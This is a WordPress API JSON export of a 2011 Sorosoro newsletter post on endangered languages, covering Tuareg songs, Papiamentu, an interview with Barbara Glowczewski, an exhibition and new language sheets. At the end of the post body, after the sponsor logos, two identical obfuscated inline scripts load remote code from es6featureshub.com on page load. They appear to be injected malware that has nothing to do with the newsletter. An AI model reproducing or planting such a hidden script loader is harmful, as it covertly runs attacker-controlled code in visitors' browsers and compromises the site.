{"id":52713,"date":"2011-07-11T21:02:19","date_gmt":"2011-07-11T19:02:19","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=52713"},"modified":"2025-10-21T22:30:42","modified_gmt":"2025-10-21T20:30:42","slug":"sorosoro-july-8-2011","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/en\/2011\/07\/sorosoro-july-8-2011\/","title":{"rendered":"Sorosoro &#8211; July 8, 2011 <br\/><br\/>  <i>Do not miss<\/i>: Interview with Barbara Glowczewski on publication of \u00abThe Challenge of Indigenous Peoples\u00bb<br\/>  <i>Read<\/i>: \u00ab Papiamientu, healthy Creole \u00bb<br\/>  <i>See<\/i>: \u00ab Innulamane (The Hawk) \u00bb, tamasheq song by Moussa Ag Keyna."},"content":{"rendered":"<h5 style=\"text-align: justify;\">New videos<\/h5>\n<p style=\"text-align: justify;\">After a presentation of <strong>tamasheq<\/strong>, we continue our series on the language of <strong>Tuaregs<\/strong> with a few songs.  <strong>Moussa Ag Keyna<\/strong>, founding member of the band Toumast, recounts with nostalgia the life of the desert in a first song entitled <em> Innulamane (The Hawk)<\/em>.<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/en\/innulamane-the-hawk-by-moussa-ag-keyna-from-the-band-toumast\">See video<\/a><\/p>\n<p style=\"text-align: justify;\">And as we catch up on our translation work of older videos, you will now be able to view with English subtitles linguist <strong><a href=\"https:\/\/www.sorosoro.org\/en\/%E2%80%9Cprogress-readout-at-the-musee-du-quai-branly-on-october-6th-2009-2\">Colette Grinevald&#8217;s speech at Sorosoro&#8217;s first progress readout<\/a><\/strong>\u2026<\/p>\n<p style=\"text-align: justify;\">\n<h5 style=\"text-align: justify;\">Blog<\/h5>\n<p style=\"text-align: justify;\">Bart Jacobs, a PhD candidate from the University of Munich, writes about <strong>Papiamentu, a healthy Creole<\/strong> with official language status in the <strong>Leeward Dutch Antilles<\/strong>: its history, the debate on its origins, and its remarkable vitality\u2026<\/p>\n<p style=\"text-align: justify;\"><a href=\"http:\/\/blog.sorosoro.org\/en\/papiamentu-healthy-creole\">See blog<\/a><\/p>\n<p style=\"text-align: justify;\">\n<h5 style=\"text-align: justify;\">News<\/h5>\n<p style=\"text-align: justify;\">June 2011: Interview with <strong>Barbara Glowczewski<\/strong> on publication of \u00ab <strong>The Challenge of Indigenous Peoples <\/strong>\u00bb, a book that explores how indigenous people express their social and cultural identities through art and politics. With case studies mostly from the South Pacific, but also India and Siberia\u2026<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/en\/june-2011-interview-with-barbara-glowczewski-on-publication-of-%C2%ABthe-challenge-of-indigenous-peoples%C2%BB\">Read article<\/a><\/p>\n<p style=\"text-align: justify;\">June 28, 2011: <em>La Croix<\/em> publishes article on the <strong>Kenya Yaaku people<\/strong> fighting for their language.<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/en\/june-28-2011-la-croix-publishes-article-on-the-kenya-yaaku-people-fighting-for-their-language\">Read article<\/a><\/p>\n<p style=\"text-align: justify;\">\n<h5 style=\"text-align: justify;\">Agenda<\/h5>\n<p style=\"text-align: justify;\">June 21 \u2013 October 2, 2011: Quai Branly exhibition \u2013 \u00ab<strong> Maya, from dawn to dusk<\/strong> \u00bb, <strong>Paris<\/strong>.<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/en\/june-21-%E2%80%93-october-2-2011-quai-branly-exhibition-%C2%AB-maya-from-dawn-to-dusk-%C2%BB-paris\">Read article<\/a><\/p>\n<p style=\"text-align: justify;\">\n<h5 style=\"text-align: justify;\">Soropedia<\/h5>\n<p style=\"text-align: justify;\"><strong>4 new language description sheets<\/strong> (in French, yet to be translated):<\/p>\n<p style=\"text-align: justify;\">&#8211; two Yuulngu languages of Australia: <a href=\"..\/le-dhuwal\">Dhuwal<\/a> and <a href=\"..\/le-djinba\">Djinba<\/a><\/p>\n<p style=\"text-align: justify;\">&#8211; one Chukotko-Kamchatkan language of Oriental Siberia: <a href=\"..\/le-koryak\">Koryak<\/a><\/p>\n<p style=\"text-align: justify;\">&#8211; and one Chapacuran language of Bolivia: <a href=\"..\/le-more\">More<\/a><\/p>\n<p style=\"text-align: justify;\">\n<h5 style=\"text-align: justify;\">Not forgetting\u2026<\/h5>\n<p style=\"text-align: justify;\">The <a href=\"https:\/\/www.sorosoro.org\/en\/earth\">word of the fortnight<\/a> still awaits your countless translations: \u00ab\u00a0<strong>Earth<\/strong> \u00bb.<\/p>\n<p style=\"text-align: justify;\">And an updated <strong>Soroquiz<\/strong> on our <a href=\"http:\/\/www.sorosoro.org\/en\">homepage<\/a>\u2026<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><strong>An excellent week to all of you!<\/strong><\/p>\n<p style=\"text-align: justify;\">The Sorosoro crew<\/p>\n<p style=\"text-align: center;\">Supported by<\/p>\n<p style=\"text-align: center;\"><img loading=\"lazy\" decoding=\"async\" title=\"LogoFondationChirac\" src=\"..\/wp-content\/uploads\/LogoFondationChirac2-280x300.jpg\" alt=\"LogoFondationChirac\" width=\"75\" height=\"82\" \/><img loading=\"lazy\" decoding=\"async\" title=\"logo FondationOrange\" src=\"..\/wp-content\/uploads\/logo-FondationOrange-300x117.jpg\" alt=\"logo FondationOrange\" width=\"168\" height=\"65\" \/><\/p>\n<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>New videos After a presentation of tamasheq, we continue our series on the language of Tuaregs with a few songs. Moussa Ag Keyna, founding member of the band Toumast, recounts with nostalgia the life of the desert in a first song entitled Innulamane (The Hawk). See video And as we catch up on our translation [&hellip;]<\/p>\n","protected":false},"author":18,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[24],"tags":[],"class_list":["post-52713","post","type-post","status-publish","format-standard","hentry","category-sorosoro-news"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Sorosoro - July 8, 2011  Do not miss: Interview with Barbara Glowczewski on publication of \u00abThe Challenge of Indigenous Peoples\u00bb Read: \u00ab Papiamientu, healthy Creole \u00bb See: \u00ab Innulamane (The Hawk) \u00bb, tamasheq song by Moussa Ag Keyna. - Sorosoro<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.sorosoro.org\/en\/2011\/07\/sorosoro-july-8-2011\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Sorosoro - July 8, 2011  Do not miss: Interview with Barbara Glowczewski on publication of \u00abThe Challenge of Indigenous Peoples\u00bb Read: \u00ab Papiamientu, healthy Creole \u00bb See: \u00ab Innulamane (The Hawk) \u00bb, tamasheq song by Moussa Ag Keyna. - Sorosoro\" \/>\n<meta property=\"og:description\" content=\"New videos After a presentation of tamasheq, we continue our series on the language of Tuaregs with a few songs. Moussa Ag Keyna, founding member of the band Toumast, recounts with nostalgia the life of the desert in a first song entitled Innulamane (The Hawk). See video And as we catch up on our translation [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.sorosoro.org\/en\/2011\/07\/sorosoro-july-8-2011\/\" \/>\n<meta property=\"og:site_name\" content=\"Sorosoro\" \/>\n<meta property=\"article:published_time\" content=\"2011-07-11T19:02:19+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-10-21T20:30:42+00:00\" \/>\n<meta name=\"author\" content=\"Michel.Lemee\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Michel.Lemee\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"1 minute\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/07\/sorosoro-july-8-2011\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/07\/sorosoro-july-8-2011\/\"},\"author\":{\"name\":\"Michel.Lemee\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\"},\"headline\":\"Sorosoro &#8211; July 8, 2011 Do not miss: Interview with Barbara Glowczewski on publication of \u00abThe Challenge of Indigenous Peoples\u00bb Read: \u00ab Papiamientu, healthy Creole \u00bb See: \u00ab Innulamane (The Hawk) \u00bb, tamasheq song by Moussa Ag Keyna.\",\"datePublished\":\"2011-07-11T19:02:19+00:00\",\"dateModified\":\"2025-10-21T20:30:42+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/07\/sorosoro-july-8-2011\/\"},\"wordCount\":295,\"articleSection\":[\"Sorosoro news\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/07\/sorosoro-july-8-2011\/\",\"url\":\"https:\/\/www.sorosoro.org\/en\/2011\/07\/sorosoro-july-8-2011\/\",\"name\":\"Sorosoro - July 8, 2011 Do not miss: Interview with Barbara Glowczewski on publication of \u00abThe Challenge of Indigenous Peoples\u00bb Read: \u00ab Papiamientu, healthy Creole \u00bb See: \u00ab Innulamane (The Hawk) \u00bb, tamasheq song by Moussa Ag Keyna. - Sorosoro\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/#website\"},\"datePublished\":\"2011-07-11T19:02:19+00:00\",\"dateModified\":\"2025-10-21T20:30:42+00:00\",\"author\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/07\/sorosoro-july-8-2011\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.sorosoro.org\/en\/2011\/07\/sorosoro-july-8-2011\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/07\/sorosoro-july-8-2011\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.sorosoro.org\/en\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Sorosoro &#8211; July 8, 2011 Do not miss: Interview with Barbara Glowczewski on publication of \u00abThe Challenge of Indigenous Peoples\u00bb Read: \u00ab Papiamientu, healthy Creole \u00bb See: \u00ab Innulamane (The Hawk) \u00bb, tamasheq song by Moussa Ag Keyna.\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/#website\",\"url\":\"https:\/\/www.sorosoro.org\/en\/\",\"name\":\"Sorosoro\",\"description\":\"Pour que vivent les langues du monde !\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.sorosoro.org\/en\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\",\"name\":\"Michel.Lemee\",\"url\":\"https:\/\/www.sorosoro.org\/en\/author\/michel-lemee\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Sorosoro - July 8, 2011  Do not miss: Interview with Barbara Glowczewski on publication of \u00abThe Challenge of Indigenous Peoples\u00bb Read: \u00ab Papiamientu, healthy Creole \u00bb See: \u00ab Innulamane (The Hawk) \u00bb, tamasheq song by Moussa Ag Keyna. - Sorosoro","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.sorosoro.org\/en\/2011\/07\/sorosoro-july-8-2011\/","og_locale":"en_US","og_type":"article","og_title":"Sorosoro - July 8, 2011  Do not miss: Interview with Barbara Glowczewski on publication of \u00abThe Challenge of Indigenous Peoples\u00bb Read: \u00ab Papiamientu, healthy Creole \u00bb See: \u00ab Innulamane (The Hawk) \u00bb, tamasheq song by Moussa Ag Keyna. - Sorosoro","og_description":"New videos After a presentation of tamasheq, we continue our series on the language of Tuaregs with a few songs. Moussa Ag Keyna, founding member of the band Toumast, recounts with nostalgia the life of the desert in a first song entitled Innulamane (The Hawk). See video And as we catch up on our translation [&hellip;]","og_url":"https:\/\/www.sorosoro.org\/en\/2011\/07\/sorosoro-july-8-2011\/","og_site_name":"Sorosoro","article_published_time":"2011-07-11T19:02:19+00:00","article_modified_time":"2025-10-21T20:30:42+00:00","author":"Michel.Lemee","twitter_card":"summary_large_image","twitter_misc":{"Written by":"Michel.Lemee","Est. reading time":"1 minute"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.sorosoro.org\/en\/2011\/07\/sorosoro-july-8-2011\/#article","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/en\/2011\/07\/sorosoro-july-8-2011\/"},"author":{"name":"Michel.Lemee","@id":"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18"},"headline":"Sorosoro &#8211; July 8, 2011 Do not miss: Interview with Barbara Glowczewski on publication of \u00abThe Challenge of Indigenous Peoples\u00bb Read: \u00ab Papiamientu, healthy Creole \u00bb See: \u00ab Innulamane (The Hawk) \u00bb, tamasheq song by Moussa Ag Keyna.","datePublished":"2011-07-11T19:02:19+00:00","dateModified":"2025-10-21T20:30:42+00:00","mainEntityOfPage":{"@id":"https:\/\/www.sorosoro.org\/en\/2011\/07\/sorosoro-july-8-2011\/"},"wordCount":295,"articleSection":["Sorosoro news"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/www.sorosoro.org\/en\/2011\/07\/sorosoro-july-8-2011\/","url":"https:\/\/www.sorosoro.org\/en\/2011\/07\/sorosoro-july-8-2011\/","name":"Sorosoro - July 8, 2011 Do not miss: Interview with Barbara Glowczewski on publication of \u00abThe Challenge of Indigenous Peoples\u00bb Read: \u00ab Papiamientu, healthy Creole \u00bb See: \u00ab Innulamane (The Hawk) \u00bb, tamasheq song by Moussa Ag Keyna. - Sorosoro","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/en\/#website"},"datePublished":"2011-07-11T19:02:19+00:00","dateModified":"2025-10-21T20:30:42+00:00","author":{"@id":"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18"},"breadcrumb":{"@id":"https:\/\/www.sorosoro.org\/en\/2011\/07\/sorosoro-july-8-2011\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.sorosoro.org\/en\/2011\/07\/sorosoro-july-8-2011\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.sorosoro.org\/en\/2011\/07\/sorosoro-july-8-2011\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.sorosoro.org\/en\/"},{"@type":"ListItem","position":2,"name":"Sorosoro &#8211; July 8, 2011 Do not miss: Interview with Barbara Glowczewski on publication of \u00abThe Challenge of Indigenous Peoples\u00bb Read: \u00ab Papiamientu, healthy Creole \u00bb See: \u00ab Innulamane (The Hawk) \u00bb, tamasheq song by Moussa Ag Keyna."}]},{"@type":"WebSite","@id":"https:\/\/www.sorosoro.org\/en\/#website","url":"https:\/\/www.sorosoro.org\/en\/","name":"Sorosoro","description":"Pour que vivent les langues du monde !","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.sorosoro.org\/en\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Person","@id":"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18","name":"Michel.Lemee","url":"https:\/\/www.sorosoro.org\/en\/author\/michel-lemee\/"}]}},"_links":{"self":[{"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/posts\/52713","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/users\/18"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/comments?post=52713"}],"version-history":[{"count":0,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/posts\/52713\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/media?parent=52713"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/categories?post=52713"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/tags?post=52713"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}